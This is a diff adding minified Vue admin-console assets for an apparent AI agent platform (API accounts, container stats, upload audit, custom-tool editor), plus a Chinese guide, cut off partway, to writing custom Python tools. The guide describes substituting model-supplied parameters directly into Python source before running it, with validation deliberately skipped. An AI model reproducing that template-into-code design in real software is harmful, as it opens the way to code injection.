(小写英数/-/_)"},null,512),[[ne,m.value.username]]),L(e("input",{"onUpdate:modelValue":t[2]||(t[2]=n=>m.value.note=n),type:"text",placeholder:"备注(可选)"},null,512),[[ne,m.value.note]]),e("button",{type:"button",disabled:R.value,onClick:ve},a(R.value?"创建中...":"创建账号"),9,De)])]),e("div",Le,[e("table",null,[t[13]||(t[13]=e("thead",null,[e("tr",null,[e("th",null,"账号"),e("th",null,"备注"),e("th",null,"创建时间"),e("th",null,"请求"),e("th",null,"最近调用"),e("th",null,"Token 累计"),e("th",null,"存储"),e("th",null,"容器"),e("th",null,"密钥"),e("th",null,"操作")])],-1)),e("tbody",null,[g.value.length?E("",!0):(r(),i("tr",ze,[...t[11]||(t[11]=[e("td",{colspan:"10"},"暂无 API 账号",-1)])])),(r(!0),i(z,null,O(g.value,n=>{var w,C,A,x,I,T,B;return r(),i("tr",{key:n.username},[e("td",null,[e("strong",null,a(n.username),1)]),e("td",null,a(n.note||"—"),1),e("td",null,a(de(n.created_at)),1),e("td",null,a(_(((w=n.usage)==null?void 0:w.total_requests)||0)),1),e("td",null,a(M((C=n.usage)==null?void 0:C.last_request_at)),1),e("td",null,a(_(((A=n.tokens)==null?void 0:A.total_tokens)||0)),1),e("td",null,a(y((x=n.storage)==null?void 0:x.total_bytes)),1),e("td",null,[(I=n.container)!=null&&I.running?(r(),i("span",Oe,"运行中")):(r(),i("span",Ge,"未运行"))]),e("td",Ke,[e("span",Xe,a((T=d.value[n.username])!=null&&T.visible?((B=d.value[n.username])==null?void 0:B.token)||"—":"••••••••••"),1),e("button",{class:"icon-btn",onClick:N=>J(n.username),disabled:U.value===n.username},[...t[12]||(t[12]=[e("svg",{viewBox:"0 0 24 24",width:"18",height:"18","aria-hidden":"true"},[e("path",{d:"M1 12s4-7 11-7 11 7 11 7-4 7-11 7S1 12 1 12Zm11 3a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",fill:"none",stroke:"currentColor","stroke-width":"1.5"})],-1)])],8,Ze),e("button",{class:"icon-btn",onClick:N=>me(n.username),disabled:U.value===n.username}," 📋 ",8,Je)]),e("td",null,[e("button",{class:"link danger",onClick:N=>pe(n.username),disabled:F.value===n.username}," 删除 ",8,He)])])}),128))])])]),f.value?(r(),i("p",Qe,a(f.value),1)):E("",!0)]),e("section",We,[e("div",null,[t[16]||(t[16]=e("div",{class:"section-head"},[e("h3",null,"容器状态"),e("small",{class:"muted"},"实时抓取")],-1)),e("div",Ye,[e("table",null,[t[15]||(t[15]=e("thead",null,[e("tr",null,[e("th",null,"Key"),e("th",null,"CPU"),e("th",null,"内存%"),e("th",null,"内存"),e("th",null,"网络 RX/TX"),e("th",null,"状态")])],-1)),e("tbody",null,[X.value.length?E("",!0):(r(),i("tr",et,[...t[14]||(t[14]=[e("td",{colspan:"6"},"暂无容器",-1)])])),(r(!0),i(z,null,O(X.value,n=>{var w,C,A,x,I,T,B,N,ee;return r(),i("tr",{key:n.key},[e("td",null,a(n.key),1),e("td",null,a(Z((w=n.stats)==null?void 0:w.cpu_percent)),1),e("td",null,a(Z((A=(C=n.stats)==null?void 0:C.memory)==null?void 0:A.percent)),1),e("td",null,a(y((I=(x=n.stats)==null?void 0:x.memory)==null?void 0:I.used_bytes)),1),e("td",null,a(y((B=(T=n.stats)==null?void 0:T.net_io)==null?void 0:B.rx_bytes))+" / "+a(y((ee=(N=n.stats)==null?void 0:N.net_io)==null?void 0:ee.tx_bytes)),1),e("td",null,[e("span",{class:ae(["status-badge",n.running?"online":"offline"])},a(n.running?"运行中":"未运行"),3)])])}),128))])])])]),e("div",null,[t[17]||(t[17]=e("div",{class:"section-head"},[e("h3",null,"上传审计"),e("small",{class:"muted"},"来自隔离区日志")],-1)),e("ul",tt,[(Y=K.value.recent_events)!=null&&Y.length?E("",!0):(r(),i("li",st,"暂无记录")),(r(!0),i(z,null,O(K.value.recent_events||[],n=>(r(),i("li",{key:n.upload_id,class:"upload-item"},[e("div",null,[e("strong",null,a(n.original_name||"未命名文件"),1),e("div",nt," 用户 "+a(n.username)+" · "+a(y(n.size))+" · "+a(n.source||"unknown"),1)]),e("div",at,[se(a(M(n.timestamp))+" ",1),e("span",{class:ae(["status-badge",n.accepted?"online":"danger"])},a(n.accepted?"通过":"阻断"),3)])]))),128))])])])])}}}),ot=Ae(lt,[["__scopeId","data-v-e3a0943c"]]);be(ot).mount("#admin-api-app"); diff --git a/demo/static/dist/assets/adminCustomTools.css b/demo/static/dist/assets/adminCustomTools.css new file mode 100644 index 0000000..a489338 --- /dev/null +++ b/demo/static/dist/assets/adminCustomTools.css @@ -0,0 +1 @@ +html{min-height:100%;background:radial-gradient(140% 120% at 20% 20%,rgba(239,229,214,.9),transparent),radial-gradient(120% 120% at 80% 0%,rgba(255,255,255,.9),transparent),#f8f3e8}#custom-tools-app{min-height:100vh}.custom-tools-page[data-v-1fb9e62c]{--sand: #f8f3e8;--sand-strong: #efe5d6;--paper: #ffffff;--brown: #4b3626;--brown-strong: #2f2015;--ink: #1a120b;--muted: #6f635a;--border: #e3d8c8;--glow: 0 14px 40px rgba(47, 32, 21, .12);--radius-lg: 18px;--radius-md: 12px;width:100%;max-width:1180px;margin:0 auto;padding:28px;font-family:Space Grotesk,Noto Sans SC,Inter,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,sans-serif;color:var(--ink);background:transparent}.custom-tools-page.editor-only[data-v-1fb9e62c]{max-width:1080px;width:min(1080px,100%);padding:20px 16px}.page-header[data-v-1fb9e62c]{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:16px;flex-wrap:wrap}.page-header h1[data-v-1fb9e62c]{margin:0;letter-spacing:.4px;color:var(--brown-strong)}.page-header p[data-v-1fb9e62c]{margin:4px 0 0;color:var(--muted)}.actions[data-v-1fb9e62c]{display:flex;flex-wrap:wrap;gap:8px}.panel[data-v-1fb9e62c]{background:var(--paper);border:1px solid var(--border);border-radius:var(--radius-lg);padding:18px;box-shadow:var(--glow)}.tool-list-header[data-v-1fb9e62c]{display:flex;align-items:center;gap:8px}.tool-grid[data-v-1fb9e62c]{display:grid;grid-template-columns:repeat(auto-fill,minmax(260px,1fr));gap:12px;margin-top:12px}.tool-card[data-v-1fb9e62c]{border:1px solid var(--border);border-radius:var(--radius-md);padding:14px;cursor:pointer;transition:border-color .2s,box-shadow .2s,transform .1s,background .2s;background:linear-gradient(180deg,#fffdf8,#fff,#fbf6ed)}.tool-card[data-v-1fb9e62c]:hover{border-color:var(--brown);box-shadow:0 12px 30px #2f20151f;transform:translateY(-1px)}.tool-card-title[data-v-1fb9e62c]{display:flex;align-items:center;justify-content:space-between;gap:8px}.tool-card-title strong[data-v-1fb9e62c]{word-break:break-all;color:var(--brown-strong)}.desc[data-v-1fb9e62c]{margin:6px 0;color:var(--muted);min-height:32px;word-break:break-word}.meta[data-v-1fb9e62c],.files[data-v-1fb9e62c]{display:flex;gap:12px;font-size:12px;color:var(--muted);flex-wrap:wrap}.files span[data-v-1fb9e62c]{max-width:100%;word-break:break-all}.tag[data-v-1fb9e62c]{background:#4b362614;color:var(--brown-strong);border:1px solid var(--border);border-radius:999px;padding:3px 10px;font-size:12px;white-space:nowrap}.drawer-header[data-v-1fb9e62c]{display:flex;justify-content:space-between;align-items:flex-start;gap:12px}.drawer-header h3[data-v-1fb9e62c]{margin:0}.editor-panel[data-v-1fb9e62c]{margin-top:16px;background:var(--paper);border:1px solid var(--border);border-radius:var(--radius-lg);padding:18px;box-shadow:var(--glow);width:100%;box-sizing:border-box}.editor-page[data-v-1fb9e62c]{margin-top:12px}.editor-page-header[data-v-1fb9e62c]{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}.breadcrumbs[data-v-1fb9e62c]{display:flex;gap:8px;align-items:center}.status[data-v-1fb9e62c]{color:var(--muted)}.status.error[data-v-1fb9e62c]{color:var(--state-danger)}.editor-only[data-v-1fb9e62c]{max-width:1080px}.tabs[data-v-1fb9e62c]{display:flex;gap:8px;flex-wrap:wrap}.tabs button[data-v-1fb9e62c]{padding:8px 12px;border:1px solid var(--border);background:#fdf8ef;border-radius:10px;cursor:pointer;color:var(--muted)}.tabs button.active[data-v-1fb9e62c]{border-color:var(--brown);color:var(--brown-strong);background:#fff;box-shadow:inset 0 0 0 1px #4b36260a}.editor[data-v-1fb9e62c]{flex:1;min-height:320px;width:100%;overflow:auto}.editor textarea[data-v-1fb9e62c]{width:100%;height:100%;min-height:320px;font-family:SFMono-Regular,Consolas,Liberation Mono,monospace;font-size:13px;border:1px solid var(--border);border-radius:12px;padding:14px;outline:none;resize:vertical;background:#fdf9f1;color:var(--ink);line-height:1.5;box-shadow:inset 0 2px 6px #2f20150a;box-sizing:border-box;max-width:100%}.hint[data-v-1fb9e62c]{font-size:12px;color:var(--muted)}.modal-backdrop[data-v-1fb9e62c]{position:fixed;top:0;right:0;bottom:0;left:0;background:#1a120b4d;display:flex;align-items:center;justify-content:center;z-index:2100}.modal[data-v-1fb9e62c]{background:var(--paper);padding:18px;border-radius:var(--radius-lg);width:360px;max-width:min(420px,90vw);box-sizing:border-box;box-shadow:0 16px 40px #2f20152e;display:flex;flex-direction:column;gap:12px;border:1px solid var(--border)}.modal h3[data-v-1fb9e62c]{margin:0;color:var(--brown-strong)}.modal input[data-v-1fb9e62c]{width:100%;padding:12px;border:1px solid var(--border);border-radius:12px;background:#fdf8ef;box-sizing:border-box}.modal-actions[data-v-1fb9e62c]{display:flex;justify-content:flex-end;gap:8px}.delete-tip[data-v-1fb9e62c]{margin:4px 0 8px;color:var(--muted)}.error[data-v-1fb9e62c]{color:var(--state-danger)}.empty[data-v-1fb9e62c]{color:var(--muted);padding:12px}.primary[data-v-1fb9e62c],.ghost[data-v-1fb9e62c],.danger[data-v-1fb9e62c]{font-family:inherit;font-weight:600;font-size:14px;line-height:1.1;border-radius:12px;padding:10px 18px}.primary[data-v-1fb9e62c]{background:linear-gradient(135deg,var(--accent) 0%,var(--accent-strong) 100%);color:#fff;border:none;cursor:pointer;box-shadow:0 10px 22px #2f201526}.primary[data-v-1fb9e62c]:disabled{opacity:.6;cursor:not-allowed}.ghost[data-v-1fb9e62c]{border:1px solid var(--border);text-decoration:none;color:var(--brown-strong);background:#fffdf8}.ghost[data-v-1fb9e62c]:disabled{opacity:.6;cursor:not-allowed}.danger[data-v-1fb9e62c]{background:linear-gradient(135deg,#c05621,#9c4221);color:#fff;border:none;cursor:pointer;box-shadow:0 12px 28px #9c422138}.actions .primary[data-v-1fb9e62c],.actions .ghost[data-v-1fb9e62c]{text-decoration:none}@media (max-width: 900px){.drawer-content[data-v-1fb9e62c]{max-width:100%}}@media (max-width: 640px){.custom-tools-page[data-v-1fb9e62c]{padding:16px}.page-header[data-v-1fb9e62c]{flex-direction:column;align-items:flex-start}.actions[data-v-1fb9e62c]{width:100%}.tool-grid[data-v-1fb9e62c]{grid-template-columns:repeat(auto-fill,minmax(200px,1fr))}.drawer[data-v-1fb9e62c]{width:100%}.drawer-content[data-v-1fb9e62c]{padding:12px}.editor textarea[data-v-1fb9e62c]{min-height:220px}} diff --git a/demo/static/dist/assets/adminCustomTools.js b/demo/static/dist/assets/adminCustomTools.js new file mode 100644 index 0000000..1638d70 --- /dev/null +++ b/demo/static/dist/assets/adminCustomTools.js @@ -0,0 +1,2 @@ +import{d as se,o as ae,w as ne,b as a,c as n,u as j,e as ie,f,F as O,g as t,t as i,r as le,n as $,h as y,j as g,i as h,q as A,s as M,T as N,k as d,x as B,m as re}from"./runtime-dom.esm-bundler.js";import{S as de,u as ue}from"./SecondaryGate.js";import{_ as ce}from"./_plugin-vue_export-helper.js";const ve={class:"page-header"},pe={class:"actions"},me=["disabled"],fe={key:0,class:"panel"},ye={class:"error"},ge={key:1,class:"panel"},he={class:"tool-list-header"},we={class:"muted"},ke={key:0,class:"empty"},be={class:"tool-grid"},_e=["onClick"],Ce={class:"tool-card-title"},xe={class:"tag"},je={class:"desc"},$e={class:"meta"},Te={class:"files"},Ie={key:2,class:"editor-page"},Ue={class:"editor-page-header"},Se={key:0,class:"status"},Ve={key:1,class:"status error"},Ee={key:0,class:"editor-panel"},Re={class:"drawer-header"},De={class:"drawer-actions"},Pe=["disabled"],Oe={class:"tabs"},Ae={class:"editor"},Me={key:1,class:"empty"},Ne={key:0,class:"modal-backdrop"},Be={class:"modal"},Fe={class:"modal-actions"},Le=["disabled"],ze={key:0,class:"modal-backdrop"},qe={class:"modal"},Je={class:"delete-tip"},Ze={class:"modal-actions"},Ge=["disabled"],He=se({__name:"CustomToolsApp",setup(Qe){const{verified:v,configured:F,loading:L,error:z,check:P,verify:q}=ue(),w=d([]),k=d(!1),r=d(""),u=d(null),b=d(""),D=d(!1),c=d("definition"),T=d(!1),I=d(!1),U=d(!1),S=d(!1),V=d(!1),_=d(""),p=B({id:"",description:""}),l=B({definition:"",execution:"",return:"",meta:""}),m=async()=>{if(v.value){k.value=!0,r.value="";try{const e=await(await fetch("/api/admin/custom-tools",{credentials:"same-origin"})).json();if(!e.success)throw new Error(e.error||"加载失败");if(w.value=(e.data||[]).map(o=>({...o,execution_file:o.execution&&o.execution.file||"execution.py",return_file:o.return?"return.json":"(无返回层)"})),b.value){const o=w.value.find(C=>C.id===b.value);o?await J(o):r.value=`未找到工具 ${b.value}`,b.value=""}}catch(s){r.value=s.message}finally{k.value=!1}}},J=async s=>{u.value=s,c.value="definition",await G(s.id)},Z=s=>{const e=`/admin/custom-tools?tool=${encodeURIComponent(s.id)}`;window.open(e,"_blank","noopener")},G=async s=>{if(v.value)try{l.definition=await E(`/api/admin/custom-tools/file?id=${encodeURIComponent(s)}&name=definition.json`),l.execution=await E(`/api/admin/custom-tools/file?id=${encodeURIComponent(s)}&name=execution.py`),l.return=await E(`/api/admin/custom-tools/file?id=${encodeURIComponent(s)}&name=return.json`,""),l.meta=await E(`/api/admin/custom-tools/file?id=${encodeURIComponent(s)}&name=meta.json`,"")}catch(e){r.value=e.message}},E=async(s,e="")=>{const o=await fetch(s,{credentials:"same-origin"});return o.status===404?e:await o.text()||e},H=async()=>{if(v.value&&u.value){T.value=!0;try{await R(u.value.id,"definition.json",l.definition),await R(u.value.id,"execution.py",l.execution),await R(u.value.id,"return.json",l.return),await R(u.value.id,"meta.json",l.meta),await K(),await m()}catch(s){r.value=s.message}finally{T.value=!1}}},R=async(s,e,o)=>{const x=await(await fetch("/api/admin/custom-tools/file",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json"},body:JSON.stringify({id:s,name:e,content:o})})).json();if(!x.success)throw new Error(x.error||`保存 ${e} 失败`)},K=async()=>{await fetch("/api/admin/custom-tools/reload",{method:"POST",credentials:"same-origin"})},Q=s=>{const e=u.value;e&&(_.value=e.id,S.value=!0)},W=async()=>{if(v.value&&_.value){V.value=!0;try{const e=await(await fetch(`/api/admin/custom-tools?id=${encodeURIComponent(_.value)}`,{method:"DELETE",credentials:"same-origin"})).json();if(!e.success)throw new Error(e.error||"删除失败");u.value=null,S.value=!1,_.value="",await m()}catch(s){r.value=s.message}V.value=!1}},X=()=>{p.id="",p.description="",I.value=!0},Y=async()=>{if(!v.value)return;const s=p.id.trim();if(!s){r.value="请填写工具 ID";return}if(!/^[A-Za-z][A-Za-z0-9_-]*$/.test(s)){r.value="工具 ID 需以字母开头,可包含字母/数字/_/-";return}U.value=!0;try{const o={id:s,description:p.description,parameters:{type:"object",properties:{},required:[]},execution_code:`print('hello') +`,category:"custom"},x=await(await fetch("/api/admin/custom-tools",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json"},body:JSON.stringify(o)})).json();if(!x.success)throw new Error(x.error||"创建失败");I.value=!1,u.value=null,await m(),window.location.href=`/admin/custom-tools?tool=${encodeURIComponent(s)}`}catch(o){r.value=o.message}finally{U.value=!1}},ee=()=>{window.location.href="/admin/custom-tools"},te=s=>{var o;const e=((o=s.parameters)==null?void 0:o.properties)||{};return Object.keys(e).length},oe=async s=>{await q(s),v.value&&await m()};return ae(async()=>{const e=new URLSearchParams(window.location.search).get("tool");e&&(b.value=e,D.value=!0),await P(),v.value&&await m()}),ne(v,async s=>{s&&await m()}),(s,e)=>(a(),n("div",{class:$(["custom-tools-page",{"editor-only":D.value}])},[j(v)?f("",!0):(a(),ie(de,{key:0,configured:j(F),loading:j(L),error:j(z),description:"输入管理员二级密码后可管理自定义工具。",onVerify:oe,onRecheck:j(P)},null,8,["configured","loading","error","onRecheck"])),D.value?(a(),n("section",Ie,[t("div",Ue,[e[18]||(e[18]=t("div",{class:"breadcrumbs"},[t("a",{class:"ghost",href:"/admin/custom-tools"},"返回列表")],-1)),k.value?(a(),n("div",Se,"加载中...")):r.value?(a(),n("div",Ve,i(r.value),1)):f("",!0)]),u.value?(a(),n("div",Ee,[t("header",Re,[t("div",null,[t("h3",null,i(u.value.id),1),t("p",null,i(u.value.description||"未填写描述"),1)]),t("div",De,[t("button",{type:"button",class:"primary",onClick:H,disabled:T.value},i(T.value?"保存中...":"保存"),9,Pe),t("button",{type:"button",class:"danger",onClick:e[0]||(e[0]=o=>Q())},"删除"),t("button",{type:"button",class:"ghost",onClick:ee},"关闭")])]),t("div",Oe,[t("button",{class:$({active:c.value==="definition"}),onClick:e[1]||(e[1]=o=>c.value="definition")}," definition.json ",2),t("button",{class:$({active:c.value==="execution"}),onClick:e[2]||(e[2]=o=>c.value="execution")}," execution.py ",2),t("button",{class:$({active:c.value==="return"}),onClick:e[3]||(e[3]=o=>c.value="return")},"return.json",2),t("button",{class:$({active:c.value==="meta"}),onClick:e[4]||(e[4]=o=>c.value="meta")},"meta.json",2)]),t("div",Ae,[c.value==="definition"?y((a(),n("textarea",{key:0,"onUpdate:modelValue":e[5]||(e[5]=o=>l.definition=o),spellcheck:"false"},null,512)),[[g,l.definition]]):c.value==="execution"?y((a(),n("textarea",{key:1,"onUpdate:modelValue":e[6]||(e[6]=o=>l.execution=o),spellcheck:"false"},null,512)),[[g,l.execution]]):c.value==="return"?y((a(),n("textarea",{key:2,"onUpdate:modelValue":e[7]||(e[7]=o=>l.return=o),spellcheck:"false"},null,512)),[[g,l.return]]):y((a(),n("textarea",{key:3,"onUpdate:modelValue":e[8]||(e[8]=o=>l.meta=o),spellcheck:"false"},null,512)),[[g,l.meta]])]),e[19]||(e[19]=t("div",{class:"hint"},[t("p",null,[h(" 提示:execution.py 中的字典/集合需要用 "),t("code",null,"{{ ... }}"),h(" 包裹,避免被模板替换。 ")]),t("p",null,"保存后无需重启,系统会自动 reload 自定义工具。")],-1))])):r.value?f("",!0):(a(),n("div",Me,"正在加载工具..."))])):(a(),n(O,{key:1},[t("header",ve,[e[16]||(e[16]=t("div",null,[t("h1",null,"自定义工具管理"),t("p",null,"每个工具一个文件夹,三层文件独立存放;仅管理员可见并可调用。")],-1)),t("div",pe,[t("button",{type:"button",class:"primary",onClick:X},"新建工具"),t("button",{type:"button",class:"ghost",onClick:m,disabled:k.value},i(k.value?"刷新中...":"刷新列表"),9,me),e[13]||(e[13]=t("a",{class:"ghost",href:"/static/custom_tools/guide.html",target:"_blank",rel:"noopener"},"查看开发指南",-1)),e[14]||(e[14]=t("a",{class:"ghost",href:"/admin/monitor",target:"_blank",rel:"noopener"},"返回监控",-1)),e[15]||(e[15]=t("a",{class:"ghost",href:"/admin/policy",target:"_blank",rel:"noopener"},"策略配置",-1))])]),r.value?(a(),n("section",fe,[t("p",ye,"加载失败:"+i(r.value),1)])):(a(),n("section",ge,[t("div",he,[e[17]||(e[17]=t("h2",null,"工具列表",-1)),t("span",we,"共 "+i(w.value.length)+" 个",1)]),w.value.length?f("",!0):(a(),n("div",ke,"暂无自定义工具")),t("div",be,[(a(!0),n(O,null,le(w.value,o=>(a(),n("div",{key:o.id,class:"tool-card",onClick:C=>Z(o)},[t("div",Ce,[t("strong",null,i(o.id),1),t("span",xe,i(o.category||"custom"),1)]),t("p",je,i(o.description||"暂无描述"),1),t("div",$e,[t("span",null,"参数:"+i(te(o))+" 个",1),t("span",null,"超时:"+i(o.timeout||30)+"s",1)]),t("div",Te,[t("span",null,i(o.execution_file||"execution.py"),1),t("span",null,i(o.return_file||"return.json"),1)])],8,_e))),128))])]))],64)),A(N,{name:"fade"},{default:M(()=>[I.value?(a(),n("div",Ne,[t("div",Be,[e[22]||(e[22]=t("h3",null,"创建新工具",-1)),t("label",null,[e[20]||(e[20]=h("工具 ID(小写/下划线):",-1)),y(t("input",{"onUpdate:modelValue":e[9]||(e[9]=o=>p.id=o)},null,512),[[g,p.id]])]),t("label",null,[e[21]||(e[21]=h("描述:",-1)),y(t("input",{"onUpdate:modelValue":e[10]||(e[10]=o=>p.description=o)},null,512),[[g,p.description]])]),t("div",Fe,[t("button",{type:"button",class:"ghost",onClick:e[11]||(e[11]=o=>I.value=!1)},"取消"),t("button",{type:"button",class:"primary",onClick:Y,disabled:U.value},i(U.value?"创建中...":"创建"),9,Le)])])])):f("",!0)]),_:1}),A(N,{name:"fade"},{default:M(()=>[S.value?(a(),n("div",ze,[t("div",qe,[e[25]||(e[25]=t("h3",null,"确认删除",-1)),t("p",Je,[e[23]||(e[23]=h(" 确定删除工具 ",-1)),t("strong",null,i(_.value),1),e[24]||(e[24]=h(" 吗?该操作不可恢复。 ",-1))]),t("div",Ze,[t("button",{type:"button",class:"ghost",onClick:e[12]||(e[12]=o=>S.value=!1)},"取消"),t("button",{type:"button",class:"danger",onClick:W,disabled:V.value},i(V.value?"删除中...":"确认删除"),9,Ge)])])])):f("",!0)]),_:1})],2))}}),Ke=ce(He,[["__scopeId","data-v-1fb9e62c"]]);re(Ke).mount("#custom-tools-app"); diff --git a/demo/static/dist/assets/adminCustomToolsGuide.css b/demo/static/dist/assets/adminCustomToolsGuide.css new file mode 100644 index 0000000..8fda1af --- /dev/null +++ b/demo/static/dist/assets/adminCustomToolsGuide.css @@ -0,0 +1 @@ +html{min-height:100%;background:radial-gradient(140% 120% at 20% 20%,rgba(239,229,214,.9),transparent),radial-gradient(120% 120% at 80% 0%,rgba(255,255,255,.9),transparent),#f8f3e8}#custom-tools-guide{min-height:100vh}.guide-page[data-v-87529767]{--paper: #ffffff;--border: #e3d8c8;--ink: #1a120b;--muted: #6f635a;--accent: var(--accent);--accent-strong: var(--accent-strong);--shadow: 0 16px 40px rgba(47, 32, 21, .12);max-width:1080px;margin:0 auto;padding:24px 16px 32px;font-family:Space Grotesk,Noto Sans SC,Inter,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,sans-serif;color:var(--ink)}.guide-header[data-v-87529767]{display:flex;justify-content:space-between;gap:12px;align-items:flex-start;margin-bottom:18px}.title-block h1[data-v-87529767]{margin:4px 0;color:#2f2015}.title-block .eyebrow[data-v-87529767]{letter-spacing:.12em;text-transform:uppercase;color:var(--muted);font-size:12px;margin:0}.title-block .desc[data-v-87529767]{margin:6px 0 0;color:var(--muted)}.actions .ghost[data-v-87529767]{padding:10px 16px;border-radius:12px;border:1px solid var(--border);background:#fffdf8;color:#4b3626;text-decoration:none;font-weight:600}.panel[data-v-87529767]{background:var(--paper);border:1px solid var(--border);border-radius:16px;box-shadow:var(--shadow);padding:18px}.status[data-v-87529767]{color:var(--muted)}.status.error[data-v-87529767]{color:var(--state-danger)}h1,h2,h3,h4{color:#2f2015;margin:20px 0 10px}p,li,code{color:var(--ink)}code{background:#fdf8ef;border:1px solid var(--border);border-radius:6px;padding:2px 6px;font-size:13px}pre{background:#0f172a;color:#f8fafc;border-radius:10px;padding:14px;overflow:auto}a{color:var(--accent-strong)}blockquote{border-left:3px solid var(--border);padding-left:12px;color:var(--muted)}table{border-collapse:collapse;width:100%;margin:12px 0}th,td{border:1px solid var(--border);padding:8px 10px}ul{padding-left:20px} diff --git a/demo/static/dist/assets/adminCustomToolsGuide.js b/demo/static/dist/assets/adminCustomToolsGuide.js new file mode 100644 index 0000000..2f20469 --- /dev/null +++ b/demo/static/dist/assets/adminCustomToolsGuide.js @@ -0,0 +1,503 @@ +import{d as p,o as c,b as n,c as t,p as d,g as u,t as m,k as o,m as l}from"./runtime-dom.esm-bundler.js";import{r as y}from"./useMarkdownRenderer.js";import{_}from"./_plugin-vue_export-helper.js";const j=`# 自定义工具开发指南(非常详细|三层架构版) + +适用对象:**从零开始、第一次上手** 的管理员。 +当前能力:**仅支持 Python**,且必须在容器内执行;自定义工具仅管理员可见/可用。 + +> 本项目默认不做严格校验(私有化客制化场景)。这让你更自由,但也更容易踩坑。本文用大量例子/反例把坑提前说明。 + +--- +## 0. 快速上手(5 分钟 checklist) + +1) 创建工具文件夹:\`data/custom_tools//\` +2) 写 3 个文件: + - \`definition.json\`(定义层) + - \`execution.py\`(执行层) + - \`return.json\`(返回层,可选但强烈建议先写一个简单截断) +3) 刷新管理端: + - 打开 \`admin/policy\`:工具应该出现在 \`custom\` 分类的可选列表里 +4) 用管理员账号在聊天中调用工具(让模型调用或你手动触发) + +如果第 3 步看不到工具:先看本文的“常见问题/排查”章节。 + +--- +## 1. 三层架构:你在写什么? + +每个自定义工具由三层组成,各层之间通过“工具运行时”串起来: + +### 1.1 定义层:\`definition.json\` +你告诉系统: +- 工具 ID(也是模型调用的函数名) +- 工具用途描述(给模型看,决定它会不会用、怎么用) +- 参数 schema(模型按它组织参数) +- 分类/图标/超时等元信息 + +### 1.2 执行层:\`execution.py\`(Python 模板) +你提供“低代码逻辑”: +- 文件内容会先被做一次 **字符串格式化**(把 \`{参数名}\` 替换成实际入参) +- 然后在容器内作为 Python 脚本运行 + +### 1.3 返回层:\`return.json\`(后处理) +对执行结果二次处理,例如: +- 限制返回长度(避免输出爆炸) +- 用模板把结果包装成更友好的消息 + +--- +## 2. 目录结构规范(必须遵守) + +每个工具一个独立目录:\`data/custom_tools//\` + +标准文件名: +\`\`\` +definition.json # 定义层(必需) +execution.py # 执行层(必需) +return.json # 返回层(可选) +meta.json # 备注/展示层(可选) +\`\`\` + +只要某个目录同时存在 \`definition.json\` + \`execution.py\`,系统就会把它加载为“自定义工具”。 + +> 文件编码建议统一 UTF-8。 + +--- +## 3. 运行时规则(你需要牢记的“真实行为”) + +### 3.1 谁能看到/调用? +- **只有管理员账号**能看到/调用自定义工具 +- 普通用户看不到工具,也无法在聊天中调用 + +### 3.2 工具如何出现在 \`admin/policy\`? +- 后端会自动注入一个分类 \`custom\`(名称“自定义工具”) +- 并把扫描到的自定义工具 ID 填入该分类的工具列表 +- 所以 admin/policy 的“工具可选列表”会出现这些工具名,从而可分配到别的分类 + +### 3.3 执行层为什么“像模板”? +执行层会先做一次 Python \`str.format\` 类似的格式化: +- \`{a}\`、\`{op}\`、\`{b}\` 这样的占位符会被替换 +- 这会导致一个大坑:**Python 字典/集合的花括号 \`{}\` 会被误认为占位符**(下文详解) + +--- +## 4. 定义层 \`definition.json\`:字段规范 + 大量示例 + +### 4.1 推荐字段(强烈建议都写) +\`\`\`json +{ + "id": "calc", + "description": "简单两数运算(加减乘除),仅管理员可见", + "parameters": { + "type": "object", + "properties": { + "a": { "type": "number", "description": "第一个数字" }, + "op": { "type": "string", "enum": ["+", "-", "*", "/"], "description": "运算符" }, + "b": { "type": "number", "description": "第二个数字" } + }, + "required": ["a", "op", "b"] + }, + "category": "custom", + "icon": "brain.svg", + "timeout": 15 +} +\`\`\` + +字段说明: +- \`id\`(必填):工具 ID,建议与文件夹名一致(例如文件夹 \`calc/\`,id 也叫 \`calc\`) +- \`description\`(强烈建议):越清楚越好(模型会读它决定是否调用) +- \`parameters\`(建议):JSON Schema 风格 + - \`type\`:固定 \`"object"\` + - \`properties\`:参数字典 + - \`required\`:必填参数数组 +- \`category\`(可选,默认 custom):用于管理端分类 +- \`icon\`(可选):SVG 文件名(来自 \`static/icons/\`) +- \`timeout\`(可选,默认 30):执行超时秒数 + +> 注意:当前实现里 \`required\` 以 \`parameters.required\` 为准;另外顶层 \`required\` 字段也会被识别,但建议统一写在 \`parameters.required\`。 + +--- +### 4.2 定义层示例 A:最小可用“回声工具” +文件:\`data/custom_tools/echo/definition.json\` +\`\`\`json +{ + "id": "echo", + "description": "回声:原样返回 text", + "parameters": { + "type": "object", + "properties": { + "text": { "type": "string", "description": "要回显的文本" } + }, + "required": ["text"] + }, + "category": "custom", + "timeout": 10 +} +\`\`\` + +--- +### 4.3 定义层示例 B:可选参数(optional)怎么写? +\`\`\`json +{ + "id": "greet", + "description": "打招呼:name 可选", + "parameters": { + "type": "object", + "properties": { + "name": { "type": "string", "description": "名字(可选)" } + }, + "required": [] + } +} +\`\`\` +执行层里要记得处理 name 缺失的情况(见执行层示例)。 + +--- +### 4.4 反例:参数 schema 写错导致模型不会传参 +反例(\`type\` 写成 string): +\`\`\`json +{ + "id": "bad_schema", + "parameters": { + "type": "string", + "properties": { + "a": { "type": "number" } + } + } +} +\`\`\` +后果:模型端可能无法正确构造对象参数,调用失败或入参为空。 + +--- +## 5. 执行层 \`execution.py\`:核心坑点、写法规范、正反例 + +### 5.1 执行层“模板替换”规则(最关键) +执行层在运行前会做一次模板替换: +- \`{a}\` → 入参 a 的值 +- \`{op}\` → 入参 op 的值 + +因此: +- **你写的不是纯 Python,而是 Python + 占位符** +- 任何你写的 \`{...}\` 都可能被当成占位符解析 + +--- +### 5.2 大坑:字典/集合花括号必须双写 \`{{\` \`}}\` + +你之前遇到的报错: +\`\`\`json +{ + "success": false, + "error": "缺少必填参数: \\"'+'\\"" +} +\`\`\` +根因就是模板引擎把这段当成“需要一个叫 \`+'\` 的占位符”: +\`\`\`py +ops = {'+': operator.add, ...} +\`\`\` + +**正确写法:把字典的 \`{}\` 变成 \`{{}}\`** +示例(正确): +\`\`\`py +ops = {{'+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv}} +\`\`\` + +反例(错误): +\`\`\`py 